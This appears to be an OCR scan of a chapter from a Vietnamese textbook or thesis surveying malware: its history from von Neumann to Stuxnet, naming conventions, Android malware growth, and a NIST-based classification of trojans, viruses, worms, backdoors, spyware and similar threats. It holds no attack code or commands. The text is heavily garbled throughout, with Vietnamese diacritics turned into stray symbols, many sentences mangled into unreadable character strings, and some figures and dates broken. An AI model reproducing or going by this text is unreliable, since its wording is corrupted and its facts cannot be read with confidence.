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Ch€hng 1

T° NG QUAN V] Mé nC

1.1L'chs phattrivic a mx«chd

1.1.1 Khaini mm« &

Mal ware (Malicious software) hay c¢
| © t°n g i chung cho c¢c8c phfn mQm |
g©y h4i choHam8ly m2ghstnr & ondgn hnotdt L,
M« 1t hd®m nhdp vig mgyw thZinh hm™ khtng
c.m4n nhon.

M« L, c h49 ¢, n L€ ¢ L nh nghoa |~

ch™ n m t c¢c8ch b2 mdt v o h th ng v
mdt , tobZ2nhvGns/bmoHc nggnch a h  th ngo

Nhi Qu ngng im8y tddnh vXn th+€ ng d¥%ng
chung cho c¢c8c | o4i m« L, c hYi nhen
nhi Qu | od49i kh8c nhau

1. 1. 2, cQhiign €

Hi " n nay c¢c- rblt nhiQu | o0o4i m« L. c
di "t Virus thui thdwmtKh8c8ohau, Li
th  ng nhblt LHt t°n m« L, cblt hkeb- mth,
hi  n L€ ¢c. V" 0o ntm 1991, c¢c8c th”nh
Anti virus Reseachers Organization)

chomdl, ¢ . ng d,_ng cho c¢c8c s[n phXm An

trinhc, a tCAR@® m©"y L« | Yc hdu so v, i x
phg8t trWn c_, aC§wmx nh'c rhghin°ngic_ u, ¢ 8§
khing c¢c- th i gian LW ¢ho anrmktuh umekn v,

L . c m i nhHedg*%nh€eng vQ ch bln c8c

m« L ¢ theo quy © ¢ nh€ sau:
Type.Flatform.FamilyName.Variant

Trong L - :

Type ch”® ra ki Wu m« L ¢cadwaterbagkdoor,, dr c

rootkit, worm...

Flatorm ch”® ra m!i tr<€ ng h  a L, ng c. a
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Win32: HM Li Zu h"nh windows 32 bits

Win64-: HM Li Zu h"nh windows 64 bits

Linux: HM Li Zu h”"nh Linux

OSX: HM Li Zu h”"nh Mac OSX

SymbOS Symbian OS

Android: HM Li Zu h"nh android
FamilyName: T° n d, ngv m« d8a,LHc Li Wm, p h:
L ng gi "ng nhau.
Variant: L 4i di " n cho c¢c8c biJln thW trong
V2 : ¥ifus.Win32.XdocCrypt.1
Type: Virus, Flatform: Win32, Family: XdocCrypt, Variant:1.
1.1.3L'ch s phat tri Wi

Hi " n nay Ingepm&t nmhgiwncs$angl .ssong |
mUdnh ¢, aMm« Mg cy c¢c- h” ng trtm mXu n
nNhi Qu h23*nh th_ ¢ kh8c nhau, m, ¢ ti °i
m t s° m ¢ quan tr ng s. ph8t tri Wn
N £ rh949John von Neuma(il903195dp h 8t tri Wn nQn t [
t nNh©n bln c¢c_,a mt ch€hng tr3nh ch
Ntm 1981 c8c virus LifQu th™™mh xa,bd rhE
Apple 1.

Ntm 1983 Fred Cohen, m t sinh vi°r
Lfu ti°n vQ virus: AL m t ch€ehng t
ch€ehng tr3nh m8y t2nh kh8c b3Jng c8c
L€a v osmotchbhBAnn- 0. Fred Cohen | uln
khi n-i vQ | c¢ch s virus.

NEm 1986 hai anh em | dp tr3nh vi®°n
thay thJ] m« th ¢ hi n (executable
m t Loa mQm b33ung mkiNt°>kdg o, a m ¢ L
t. m t Loa mQm 360K khi cho v ™o bblt
virus n"y c¢- m8c AE Br ai rn®OS nxGwbltc h
hi " n s. m nhblt.

NtEm 1987 Lehigh, m t trong nh_ng Vv
t p Immamdcaom (virus n"y sau L- ti]
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http://vi.wikipedia.org/wiki/1949
http://vi.wikipedia.org/w/index.php?title=John_von_Neuman&action=edit&redlink=1
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http://vi.wikipedia.org/wiki/1957

M t virus khs8c c- t°n I BM Chri st ma

(500. 000 bln sao/tilJ]lng), | - chn 8c
(mai nframe) c.a Big Blue trohg su’
(gi " ng bom n’ chdm c i h ng | o4t ch
Th8ng 11 c¢c%»»ng ntm, Robert Morris ct
c.a ARPANET | "m |Ii t kholng 6.000 m
NEm 1991 virus La h3nh (polymorphic
LoYi nt"y tbha L i h3nh th ¢ c¢c,a n-,
ch€e€hng tr3nh ch ng virus.

Nem 1994 Temaill. alfouua i€ n xublt hi n
h c. Tr, n"y c¢clnh b8o ng€ i s d, nc
b, "~ c¢. ng nngphcodknhgi crh, € Q AGood Ti m
khtng go©y thi t h4i g3 m"™ ch"™ «c¢- t2

t. ¢ xublt hi n trong chu k8 t. 6 L/n
NtEm 1995 macro virus Lfu ti®°n Xxublt
t p c,a Word wbBit |l ami Quum®y. qguali vi
h€ h' Li Qu h"nh <c¢h,

NEm 1999 Bubble Boy s©u m8y t2nh LF¥F
nhdn email c¢c- m file L2nh k™ m hay
v¥n s€&€ t  holYt L, ng.

NtEm 2003 Sl ammertmuyQhoWji woedm t an
cho kholng 75 ng"n m8y trong 10 ph

H

Ntm 2004 L8nh dblu m t thJ h m i c.
|l o4i worm n"y th3 ng€ i ta khing cf
ch™ c¢cfn m | 8§ th€e | ihay.lSasseckning hman x ©m
to"n h,y hoYi m8y m”~ c¢ch” | " m cho ms§
n- | "m m8y t, kh i L ng tr° | i

nh_ng thi t h4i L8&ng kW.

NEm 2005 S xublt hi n c¢c.a c8c Viru:
d ch v, chatting tr ¢ tuy/Jln nh€e Ya
d,. ng nh€ m t c¢c!tng c, ph8t t8n tr°n
trong v,ng 6 th8ng Lfuamtmua- ctg§ci d7
chatting xublt hi n ° Vit Nam. Tron
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thing qua c8c d ch v, chatting s€ c

ng€ i s d,. ng d ch v, ng’'y c¢c"ng ttn
Clng trong ntm n"y L« ghi mahHdnecl| 04
nguy hiWm. MyTob I~ 1o4i Virus t Yo
t2nh b’ ki Wm so8t C - t hwW b’ | d, n

mQm SpyWare v~ gOy ra c¢c8c cu, c t bln
Li Wm n"y Botned¢!nwg w8x emaicl tkm! ng

My Tob | ° 1To4i Virus Lfu ti°n L« kIJ
ch€hng tr3nh g i email h"ng |l o4t .
tiQné c¢c. a ng€ i c¢c.a nYn nhon ch_  kh
r i nhe€e. tre€e ¢ Loy

Thg8ng 6/2010 L8&8nh dblu m t b€ ¢ ngo
hi n c,a AS©Ou m8y t2nh chi/Jn tranh
c8c thil/Jt b’ USB v° <c¢c8c ph€ehng ph§y
ho9i m t m,c ti°u c, yhW WNh " hagynh

hdt nhon(LiWn h3nh | " cu, c tbln c¢ct!n
Uranium c_,a |lran gy ra thi t h4i v
ng€eng tr’ mblt hai ntm c¢c_, a nh”™ m8y) .

Thg&§ng 3/2011 |~ s fl°n ngft€ong._ a
mobile. KU tbin ctng ph8t t8&n m« L
m3nh nh3m thu thdp thitng tin ng¥€ i
thodi Vodafone b phhi nhi_ m m« L 6 c
1.1.4 X u . mghat tri W

Hi " n nay ng y c¢c“ng nmi QdwnpQnf nt [MmQm
di L, dgic bi t nh31m v o lkteax HFo ncgdo
hang mtiVirus Kasper sky qul 2/2013 th3 L«
L ¢ h4i tr°n di L, ng L€ ¢c phg&t hi n

Cg8c d. li" " u L€ ¢ thu thdp btjng c 8§
Network d a tr°n c¢ctng ngh’ L8m mOy
th ¢ hi n v, i S | L ng Tgia®SM ng<€
Nh. . ng phfn mQm n”"vy c¢h, yJu LJln t C
|l nternet cao, LHc bi "t | 7" Trhblg Qu
t" " ng s° website ph8&8t t&8n mal ware c-
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TifJp theo L- 1" M: (18% v Nga (1:
ng"y ¢c"ng ph._.c¢c tU4p v~ nguy hi Wm, n
Lhn gi[n x®t t . g-c¢c Ri Jnrk.: Ttuhyudnhi °v
ch€hng tr3nh ph_c¢c tYp v~ nguy hi Wm
tr€e ¢ LOy, trong L- nguy hi Wm nhblt
t nho©n bl n, gi . nguy°n c¢8c¢c t2nh n
nh._ ng c8ch thn cdichre obu m3ntitrong |
ctng ngh’ L€ c¢c s d,ng LW I Xn tr§nh

C8§ch -#ownwtmm, c*ng ngh’  t| che dblu n
LoUn nghi°n ¢ u, nhe€engphi tne Jpm yc fcuh ¥
congngh  t. nh©n bln th3 tuy L« c- ¢

th3 ¢c*ng ngh n"y kh'ng c¢c- g3 thay

ntng t. nho©n bln hi n nay th+€ ng k]J

t 4o ra kh[ ntng | ©y | anuv”™ ph8 hodUi
Android Versus PC Threat Type Timeline Comparison

August March July August January

2010 201 201 201 2012
— — T — — ¥ Dialer
8 A ® o \
hud = 399 | =
DROIDSMS GoldDream One-click Data stealer
LOTOOR : : billing fraud Plankton
FAKEINST TOOR DroidDreamLight DIfling frau LEADBOLT A
. Rootkit
PC Cyb! NTRootkit : Adware
Morrls Po}lic‘e”q ZANGO Mo‘:gu t' ZeuS TIBS dialer
CODERED ransomware 888bar Passteal Porn dialer .
F A & ®w =
o M hmd ©
= == =y = — = 4 Worm
1988 1989 1992 1999 2000 2002

Hinh1-1 C8c nguy c¢ch mblt an to-

Ngay trondg «ntcm 2Q13 15 st'ril @ nng« nlg €
d¥%ng I nternet °~ Trung Qu ¢ ttng r blt

| . n nhblt vQ | € ng ng€ i s d,ng |n
m ¢ taongc8&c h3nh th ¢ t phdm kh?tn
d. ng c8c ch€ehng tr3nh L, ¢ h4i nhe€e m
sfn. Trung Qu c¢c |7 nhi ¢+ nhi Qu ng-e¢€
Xublt ph8t nhiQu t,i phUm nhblt |~ nh
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Hi " nsneghst triwn c,a c8c mlng x« h
c8§c ch€ehng .t msdi M hiiopvwhedii t 0 @iig g

t€ ng c8c th" nh vi°n trong ming X«
hoHc 2t LQ ph,ng hhn so v, iMHit h _krhg cc
mdng x« h, i quy t_, rblt nhi Qu th~”nh

vQ an to’ n, den gmd tr ocn,ga nidghi® i1 ngc r |
thw thbly r3ung c¢c8c ch€hng tr3nh L, c
trong mUhaB°xmtkBLi, hi n gi° c8&c Li°
( smartphone) rblt ph’ bi Jn. Nh_ ng

L'i Qu h"nh v° th€ ng LQu c¢c- <c¢c8c kho
~ng d,ng n"y cho ph®p c¢8c | dp tr3n
nhdp, hpkt. mTuw nhi°n c¢c- 7rblt nhi Qu

m°~ b°n ph2a quflfn tr  c¢c8c kho _ ng d,
n"y. Theo th " ng k° B, An ninh n, i I

b8o c80o vQ c¢c8c m i Le d a trtieun c8c
d¥%»ng M: phrli L i mHt trong ntm 2012
di Il ng tdp trung tbin cl'ng Androi d,
thJ] gi,.i. niQu L8&8ng nglc nhi°n |~ h
sau Android khlng mh[ll”™ | SymiSan_ @&, :
m t h  LiQu h”"nh Lang ch/Jt dfn. Kho

h“nh n"y. Nokia hi n L« chuyWn h?3n
do Microsoft ph8t triWwWn, do L- s’

khing ¢c,n nhgQoah uOS chbinhchng c_ a
khi h° LiQu h"nh Window Phone v~ BI
C8c chuy°n gia cho biJt c8c con s’
c8§c h’ Li Qu h” nh. S’ | € ng m« L, ¢

t €hngg Lvehin s~ ng€ i s d_.ng t[i v
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Hinh
Tuy
“nh

[

>

3'\ 3'\

i
L ¢

o[ w = a|r|v]u]to]P
afs|ofefelnf.]x] )
< gpEuonn e

1-2ni " n thoUYi s d_ng h° LiQu h-
nhi°n, con s~ 79% c. a Androi d \
I ng sau. Do s ng<€ci shwd] hgm
Lle d a an ninh nghi°m tr ng. B¢
Le d a m« L, c L°i v,i Android L
Troj an, m« L, ¢ rootkit v~ <c¢c8c

Google Play gi .

Ti n
t hw

nhdn mMro§%nc&hiVv] tbin c®ng nhdn
k hi J]n nge€ i s’ d, ng t hi'

ANDROID MALWARE GROWTH

140,000

120,000

100,000

80,000

60,000

40,000

20,000

1.2 Phan

C-

phon

PREDICTIONS

\ P . v. E l N E
Q4 201 Q12012 Q2 2012 Q3 2012 Q4 2012

S00 3,000 11,000 38,000 129,000
] 1000 6000 25000

o

\
Hinh 13 Bi Wu L, 6 s, ph8t tri Wn
o4 me L
nhi Qu ti°u ch2 LW phon | o4i 1
| oUi d a v o hNISTINationhl Institute @y n hi
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Standart and Technology (\fi tiéu chu§ii cong ngh qu ¢ gia Hoa I8).
S. c¢ch”™ pho©n | oYi imang t2nh chblt t€h
1.21.Theo hinh th c lay nhi m

Malicious

Code

Needs Host Independent
Program

FEEReE

- . ,/
N

Replicate

Hinh1-4 Ph©n | o4i m« L., ¢ h4i

Theo h3nh tr°n m« L, c h4i g m 2

LW t“n t4i v [ © nhi_m, vdt ch,
~ng dung, hay c¢c8c file ch€ehng trs3nt
| dp.

n. ¢ I dp nghoa | L clhYi " mch&€hnghy
|l " ch v™ c¢ch4y tr°n h LiQu h”"nh.

Kh! ng plneads Hosiprogrgm | = 1 Lo4YYn <c¢ch<€hn
bi  t thu, ¢ 1 ch€ehng tr3nh n"o L-
ch€hng tr3nh thtng th€ ng hay ti n
b€ ¢ k2ch hodt ch€ehng tr3nh oh, tr
1.21.1.Trap Door

Trap Door c¢c,n L€ ¢ g i | © Back D¢

Trong L ings Trgapt D& or c@amg cT angh
v 7 0 ttda nha.

Trap door |7 m t Li Wm bchophedt tr o
m t ai L- ¢- thW truy cdp | 99 h"° th
r~o an ninh nh€® thtng th<€ ng. Trap
|l dp tr3nh v, i mmtcalLtbkhag trenhki W
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Trong c8§c cu, c tbin ct!ngt hte anpg dtoroH
v L°i 1 nh LiQu khiWn t. c¢c8c ¢ ng
khi c¢chdy tr°n m8y b nhi_m, n- s€& t
c "  ng cho ph®p kT tbin ctng truy nhdp

m° n- L« m v’ kT LtiKpu othr gvme -m8tyo “bn

Trap doornguy hi Wm ° c h, n - ho"n to°
Nhi Qu con L€ ¢ hGn tr€ ¢ gi° LW kIt
m i m 1 port LW hacker L, t nhdp v?
port

V2 :Backdoow3 2/ TDSS | °© 1 ch€ehng tr3n

khi Wn t. xa, b2 mdt LiQu khiwn h t
1.21.2Logic Bombs

Logic bomb I~ LoYYn m« L, c L€ c 1
h p ph&§p m" ch¥%ng c¢c- thW th, ¢ thi K
Lond m« th€ ng L€ ¢c ch™ n v o c8&c _ng
th ¢ hi '  n vi ¢ ph8 h_y h" th ng hoH

H

h ng.h’

Logic bomb ¢+ thW g i thlng bs§o
truy nhdp I nternet vHcsbidtng m - c
x I'T vin blfn. T. L- attacker c¢- t
(ch3ng hUn kJt h°p v.,i c¢c8&c m8y t2nh
tbin c*ng t). ch’ i d ch v,

- 1
Wietim 2 . l‘ Attacker
= p——
4
Hinh1-5M* h3nh hoUt L, ng Logic b

Attacker L<€a 8lyogqiUm Imdmnv tdhimg qu

tr3nh . ng d, ng n"o L-

M8y nUn c¢”“i LHt ch€ehng tr3nh _ng
Attacker g nicong.h*ng Li p t bl
Logic bom L« onhan.LHt tr°n m8y n(Y
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1.21.3Trojan Horses

Trojan Horse | ° 1l o4i m« L[thach hYi |
Troyo. Trojan horse khtng c¢c- kh[ nktng
h™ th ng v.,i biWu hi n rblt b3nh 1t h-¢
ch a c¢c8c LoUYn m« Vv, i m,c ltheoba gO©y |
cach sau:

Ti JJp t,c th g tdia cg&kt€tlkrhg ct m3knh
b°n ¢cYnh L- th ¢ thi c¢c8c hoUt L, 6 ng
nh€ g i m t tr, chhi d, cho ng¥€ i
ch€ehng tr3*nh L8nh cdp password)

Ti Jp t,c th, ¢ thi c 8¢ nobamwaon t ng
nh€eng s a L i m t s° c¢ch_c¢c ntng LW g
|l dp m t c a s |l ogin LW | bly passwor
hoUYé k(hv2 d, nh€e trojan che dblu cho
c8§ch tdt c8§thhnWwh th ¢, a h’

Th, ¢ t hi l utn m t ch€ehng tr3nh g
m t ch€ehng tr3nh khl'ng c¢c- h4i (v2z d
|l = m t ch, c hhi hoHc m t t ool tr °n
file n"y | ° I dp ®©8chdt)li u tr°n PC

C- 7 |l o4Yi trojan ch2nh:

Trojan trwg cdphit/t xkf] LW cho k-
ntng t. xa chiJm quyQn Li Qu khi Wn
th€ ng dblu v o c8c tr, chhi Vv" c8&c
d¥%ng mblt clnh gi 8c.

TrojandgNIlithi:c hi n vi ¢ | bly v~
nh€ mdt khXu, thtng tin thT t2zn d,
cho kT tbin c¢ctng. Trojan n"y c¢- thw
phfn mQm L ¢ tr_,  m b"n ph2m hvo kgl i 1
t biIn .clng

Trojan HAh.yc hmiYin vi ¢ x-a c8c t°
gi "ng v.,i virus v° th€ ng c¢c- thw b’
Vvirus.
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Trojan k& Wud_pirgoxny8&y t2nh b h4i |
thw s d, ng m8ynbc&kUYh BW wh, ¢_=h g
may tinh khac.

Trojan FTPn€” ¢ t hi Jt kJ LW m" ¢ ng 21
n"i v'o m8y b. hYi s d,ng FTP

Trojan tdt phfhncm®m anvniohd. ng
ch€©ehng tr3nh an ni nhusnhhGayphtf@ nmgQm

ng€ i d¥%ng kh'ng nhdn r a.

TrojanDoSn€” ¢ s d_,ng trong c8c cu, c
v,. V2 d, c8c con bot s d. ng tron
trojan.

Va2 d, trojan c¢c- t°n Zeus, Cl ampi
tri ub3WSD c&ch ghi 19 thtng tin t°
chuyWn tiQn v~ o t7i k-go [i MulecMue m, t

sau L- L€ c¢c tr[ c¢ctng LW LTm nhdn v
L€ ¢ thu° thlng qua c8c trangbit/ptm

ryng s tiQn h nhdn g i Li |~ bblt
1.2.1.4Virus

Virus | ° m t | oYi m« L ¢ hyj c -
nhi m ch2nh n- v o c¢c8c fil e, c h€hn

l utn b8m v" o vdt ch_, ( c¢c- gghW LW { D)
| an. C8c ch€hng tr3nh di t wvirus d,
ph,ng ch ng v di t virus, LW qu®t
c8c file tr<€ ¢ khi | €©u xu ng C. N
virusPCYLl €a fpthh&tnghib 8o nh€eng khtng d
c- c8c dblu hd  wi rhuodtv ditt mgPRg v¢i mus o
tr°n m 1t m8y kh8c n°n khl!mrmgLthW t h,

Virus ¢- thwWw I "m bblt ¢ vi ¢ g3
lam. Virusc h® kh§gc ° Li Wm n- t L2nh k™ m
th, ¢ thi b 2 md t K hi c h €thinkdi vitus 3 nh 1
L€ ¢ th, ¢ thi n- c¢- thWgl him€hklt ak 8

Qo

ch€ehng tr3nh. V, ngnl i virus g m 4
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Dormant(n bim): Tr ong gi ai LoUn n"y viru
LJJn khi L€ ¢ k2ch hoUYn b o mMm t ai L
Propagation(lay lan): Tr ong gi ai LoUn n"y vir
copy ch2nh n- t i c8c EkLo&hng tr3nh,
Triggering: Trongg i a i Lodn n"y virus L€ c
ch ¢ mhbhhg c,

Execution.Ch ¢ nkng c¢c.,a virus L€ ¢ th,
| © v?* h4Yi nh€e g i m t thtng Li p n
ntng c¢c- h4di nh<€ ph8 h_yngc8c ch<€ehng

Virut gchimh 7 1 o049

Viruses
Memory Resident /
Email
Program File Stealth
v
Macro
Polymeorphic Boot Sector
Hinh1-6 Ph©n | odi virus
Memory i resident virusC€ tr ¥ rong b, nh, c h

phfn c¢c,a ch€ehng tr3nh h  th ng. Th
khi ch€hng tr3nh L€ ¢ th ¢ thi

Program file virusGOY [ nh h€ legchPhng8¢tr$nlt
exe/com/sys.

I Original program I

| Virus code | Original part I
| Virus code | Original program
| Original program | Virus code |
i JUMP 1 ‘
|

JUMP
Hinh1-7 M* t [ virus | ©y fil e
Polymorphic vidtadi wiirwt may ht nht
th ¢ ¢, a n-, gO©y kh- k h-dirms. Vouso cCc 8¢
ATequillao | " loYi virus La h3nh LF¥f
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Boot Sector virusL™ | oYi virut Lfu ti°n t
biJJn r, ng r«i tm 1p®€6c¢c BoAt viouh |
boot c¢c_.,a m8&y t2nh LW th ¢ hi ' n vi
kh i L ng, n- luln t3m LJn master
head 0, track 0, sector 1 LW L ¢ toh
l@cngkhikhi  nggh th ngt L@ m@nb nhi m.

Stealth virusn©y | © 1 o4Yi virus c¢c- kh[ nt
cho h  LiQu h”"nh v° phFn mQm ch ng
LW ngtn chHn s d,ng h  LiwQ hkzZah
th€ ¢ c8c tdp tin. Nh. ng virus n"vy
b nh, . C- nNhi Qu boot sWctdorTha irmuuss "
Braino L€ ¢ tUo ra tYi Pakistan b
num trong phfned&thor ) Lganam@mbto306t0 Ksbh v

o

H

C
l

s€ | ©y nhi_m tblt c[ c8c °~ Lo.a mQm.

Macrovirus:.L™ tdp | nh L€ ¢ th ¢ thi b
Macro virus ph' bi Jn trong c¢c8c _ ng
khl[ ntms@8ki Win ¢ tYYo v m" fil:e LW f{
virus Baza, Laroux v’ m t s’ virus
c§8§c file trong h” LiQu h”"nh Wi ndows

cl Linux.

Virus Melisa cinMacrovi um, m  tiromdnmt

Email virus:L™ nh_ ng virus L€ ¢ ph&t t §
virus Melissa L€ ¢ L2nh k™ m trong t
L2nh Macmo L€ ¢ k2ch hoUt sau L- en
chz2nh n- t. i tblt ngldamhngs8lkhmthkK€ceg
1.21.5Worms

Worm | c¢ch€ehng tr3nh L ¢ h4i c-
nhi_ m trong h’ th " ng m”~ khl'ng cfn f
h™ th ngWorNh€tvidng b&m v o m t file
tr°n Lgoga <c¢c. ng, vd vdy khlng thW d?Z¥%r
Worm.

M, ¢c tiWarnm_la~ | "m | «ng ph2 bitng
hoi h th ng nh€e x-a file, tYo bac
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Thbin ¢ !Wagr no_ ca- LHc tr<€eng |~ |l an r
do khing c¢cfn t8c d_ng c_.,a con ng+¥€ i
L-ng/ m file)

Worm c¢c- thW chia | "m 2 1| o0oV4i

Net work Service Worm | an truyQn |
blfo mdt c¢c_.,a mimgnhchaHbd claQ ng d_ n

Va2 d, Sasser (W32.Sasser. Wor m) b
1/ 5/ 2004 c¢c- thw t L, ng | ©y | an bblt
i d,ng |, h" ng blFlo mdt Local Sec
(LSASS-1 ., i n"y drxodoftc aing b v~ ph§g
ngay 134-2004) LW tblin c'ng c8c m8y ¢ i
2003

Mass Mailing Worm I~ m t dlng tb
nhi°n n- t L -ng g-i LW tbin clng Vv~
ch, | hemasi©®u. nKy | ©y nhi_,_ m v o h’
t3m ki/Jm s° L a ch"™ v™ t g i bln t
Vi ¢ g i LYng th i cho to"n b, <cS8§c
hoHc cho m8y ch, mai |

vz d, Mydoom | ° UYnwWdr m rilomig/]Jm hn migC
th " ng m8y t2nh b" t° |i t v’ .goOy th
1.21.6 Zombie

Zombie | ch€ehng tr3nh L, ¢ hdi b
kh8c ngo"i internet LW nghe | nh t_

s’ d.rnogng c8c cu, c tbln ctng t. ch’ i
m t website n”"o L-.

Ki Wu thing d,_ng nhapléntc, d%lrZg olimWi €
m t cu, c tbin clng DDoS. KT tbin ct!ngq
| € ng |, n c8c m8y whghmrTil tha. |l °nh

vz d, Trinoo v° Tribe Flood Netw
r€e ¢ s d,ng nh€ c8c c¢ctng ¢, LW th,
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1.2.2 PhanlIdic aNIST

1.22.1 Virus

V.i ¢c8ch L nh nghoa, phon | o4i n
(Maliciuoscode)c&k h[T nktng t nh©n bln v~™ | Oy
file, ch€ehng tr3®nh hoHc m8y t2nh. N
bg&m v 0o m t vdt c¢h, (L- I~ file d.

C&§c chehng tr3nh di t virwis o, mh, vip
ch " ng v° di t virus, LW qu®t c8&§c fi
khi | €©u ngu migQu m"y clng giflfi th2ch
mQm di t virus tYi PC L<€a ra thtlng
di "t L€ cabkhihifhbhhodt L ng c_.a vir

mang viruso | 4i na_m ° m8y kh8c n°n
m« L. ¢ hygij L -

Compiled Virussk = virus m” m« th ¢ thi C.
ch"nh b°"i m t tr3nh bi®°njpd tch hW Lni-
h"nh. C8c |l o4i boot virus nh€e (Mich
Jerusalem) rblt ph’ bi Jn trong nh_ ng
compiled virus c¢clng ¢c- thw I~ pha
trong c%ng m t phi°n bln.

Interpreted Virud © m, t t° h° p c¢c. a m« ngu
re ¢ d€ i s. h, tr° c¢c.,a mt _ng d_
trong h th ng. Mt c&8ch Lhn giln,
cho LJn khi . ng d_,ng g i t hus, n - m
scripting virus | ° ¢8c virus n3um tr
trong c¢c8c _ ng d_,ng Microsoft Of f i ce
vi ¢ tYo v m" file LW th ¢ thi v~
virus vascripting virus la:Macrovirusl = tdp | nh th, c tF
d. ng c_strhiWtiamgnvirus |~ tdp | nh c
L'i Qu h”"nh. Mel i sa MNacrownystLove Stages |a X u blt
vz d, cho scripting virus.
1.22.2Worm
Worm clng |'° mt ch€ehng tr3nh c¢c- |
nhi_._ m trong h th  ng tuy nhi°n n- ¢
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nghoworimi kh*ng cfn phrli C - Afil e ch,
h th "  ng. Nh€e vdy, c¢- HhrhgV ttrhsblyh r Ruin®
s€ khtng Wodr mt tE€ng Wor mt k' hitgngv3fib§gmo
g
t
C

S

m, t file hoHc m t vang n“"Wormbao tr °n
"m ¢l I "m |l «ng ph2 ngu”"n | c bktng
h " ng nh€e xo08 filleqggé€ilro, é aTcWerhomirng t

LHc tr€eng | ° |l an r,  ng ¢, ¢ k8 nha
con ng€ i (nh€© kh i L, ng m8y, copy
thw chia | "m 2 1 o0o4i

Network Service Worrh an truyQn b=3ung c8&ch | i
mde, a mUlng, c.,a h° LiQu h”"nh hoHc ¢
|l o4i s©u n"vy.

Mass MailingWorml = m, t dUdng tbin clng qua
n- t. L -ng g-i LW tbin ctng v | ©y r
email. Khi s©u n g, |l®y mh€ mg vé o dd
s L a c¢ch"™ v™ t g i blIn thon n- L/J
! ng th i cho to"n b, c¢c8c L a ch"™ t
m8y ¢ h, mai |l . Netsky, Mydoom | 7 v?2

1.22.3Trojan Horse
Lal o9i m« L. ¢ h4i L€ ¢ LK. tHeoj an

horse kht'ng 1t nh©n bln tuy nhi®°n n
ln ho” nh€eng th ¢ chblt b°n trong c-
g©y h4i. Trojan c¢c- thWhlcalwWhg®y mht

Ti Jp t_,c th ¢ thi c8c c¢ch_c¢c nktng c,
cUnh L- th,c thi c¢c8c hoUt L, ng gOy

m t tr, chhi d, cho ng¥€ i d%¥%ng s’
tr3nh L8nh cdp password)

Ti Jlpc tt h ¢ thi c8c ch._ ¢ nktng =c, a c
nh€ng s a L i m t s c¢ch._c¢c ntng LW g
|l dp m t ¢ a s |l ogin LW | bly passwor

hoUdi khac (v2 d, nh€e trojR¥di chiks§ d blo
c8§ch tdt c8&c hiWwn th c¢,a h th ng)
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Th, ¢ thi l utn m t ch€ehng tr3nh gOy
ch€©ehng tr3nh kh'ng c¢c- hdi (v2 d_, nt
m t c¢ch, chhi hoHc m t tool tfileen mUn
n“y I I dp t_ ¢ d. |i u tr°n PC s€ b
1.2.2.4 Malicious Mobile Code

L™ m t dUng m« phfn mQm c¢c- thw L€

Q

h™ th ng m" khtng c¢cfn Lgn | i g i t
Malicious Mobil en8C@odve iL®ic usqgi wo'r mk
n - khng nhi,  m v" o0 file v~ khlng t

thg8c m t LiWm yJu blfo mdt x8c L nh
t8§c L., ng LJn h th  ng b=3yng c8§ch tdn

LW chdy O« tclnxga.c, | dp tr3nh nhe€e J
VBScript |~ mMdl itai€ insg molki Icehocode.
v2 d, n i tiJng c_,a kiWu tbin clng n
Ki Wu tbin ctng n"y c¢c.a Nimda ¢gh<€ ng
h.n h p (Blended Atatck). Cu, c t bln
khi ng€ i d%ng m 4dmrowesmail SBuc khbRn
m8y n"y, Nimda s€ ¢~ gdng s d_ng s
t8n t, i c¢c8c m8y khsg8d., mMHINIi imd&c c t gd

c8c m8y kh8&8c trong mlng c¢c- the€e m, c
s€ d¥%ng d ch v, NetBl OS nh€ ph€hng
t. i c8c m8y L-. n " ng th i Nimda c¢°’
m8y t2nh c¢- cliiWnd yoJJu v [ ol InBdtc -c_, a Mi
thbly, n- s& copy bl[n th®©n n- v o0 se
blfo mdt t<€hng _ng kJt n" i v~ 0 tranog
(l€eu T rxng b nhi., m m" khtng cfn
tinhni . m virus s€&€ lan tr"n theo cblp s
1.2.2.5Tracking Cookie

L~ m t dldng | Y4m d, ng cookie LW
duy t web c¢c,a ng€ i s d,ng m t c8§
file d. 1i u ch_ a thtng tin ¥YQ vi
c. a -oMeibent. M, c ti°u c¢c_,a vi ¢ duy
m8y t2nh nh?3m ctn ¢ v~ o L- LW t{o
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sao cho th2ch h° p vlient ®ymhiéntinhg v, i
ntng n"y | 4i b’ | Um d, Qnyg divg nt Yloi
(spyware) nh?33m thu thdp thtng tin
nhan.

1.22.6PinmZm g i EpiiSpylvare

L” paHh ctQny °n t hu ttihdpt c8c8&8¢ himdhyg c
th€ ng v3 m c L2 chntembt®hnlghmMg Jc qusa
bi Jt v°™ c¢cho ph®p ¢, a c¢h, m8y. M t ¢
m t c¢c8ch DB2mmdt bnhehdn pkhfm tnmnQem nmd_ ¢
phi(freeware) vgo h f n mQ m( schhai rae wsa®T e ) m’~ ng+€ i
vQ t. |l nt ernet . M t K hi L« ¢ L Ht |,
m8y ¢ h, tr°n I nternet v |l itng | € ¢
m8y khsg&8c (th€ mg Ichuy.°@a mENng@uifag
caict i n) .t Hchfn mQm gi &8n Li p thegli hano

tv' ngay c[ mdt khXu clng nh€e |~ s°’
Khg§c v, i1 worm v~™ virus, Spyware kht?
1.22.7PH n mZm gd ng cao Adware

Phfn mQm qulfng c8o0o, rblt hay c¢c- =~ t
tr°n mdng. M, t s° phfn mQm v! hyi,
théng tintnm™ n h3nh, c¢€©.ng chJ ng€ i s d

1.2.2.8 Attacker Tool

L™ nh_ng b, c¢clng c¢c, Wt kiXyck®g @hfinhWw
hdi v"o trong h° th ng. C8c b, <c¢clng
ctng c¢c- thW truy nhdp bblt h p ph§gp

b 1 © nhi. m m« L. c hUi. Khi L€ c t
m« L Attadkexti g o | c- thwW ch2nh |7 m t p
(vz d, nh€ trong m t trojan) hoHc |

S

nhi m. V2 d., nh€ m t h th "  ng L« b’
c- thwW LiQu khiWn h thsngetn &, g,

attacker t ool At t ascikteer Lt-oovi™ vc oi hl H
tool th€ ng gHp |~ backdoor v~ keyl
-Backdood © m, t thudt ng. <chung ch" c8

H

tr¥ v- L i 1 nh LiQu khiWn t. c8c c
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http://vi.wikipedia.org/wiki/Ph%E1%BA%A7n_m%E1%BB%81m
http://vi.wikipedia.org/wiki/Internet
http://vi.wikipedia.org/wiki/Ph%E1%BA%A7n_m%E1%BB%81m_mi%E1%BB%85n_ph%C3%AD
http://vi.wikipedia.org/wiki/Ph%E1%BA%A7n_m%E1%BB%81m_mi%E1%BB%85n_ph%C3%AD
http://vi.wikipedia.org/wiki/Ph%E1%BA%A7n_m%E1%BB%81m_chia_s%E1%BA%BB
http://vi.wikipedia.org/wiki/Tin_t%E1%BA%B7c
http://vi.wikipedia.org/wiki/Th%C6%B0_%C4%91i%E1%BB%87n_t%E1%BB%AD
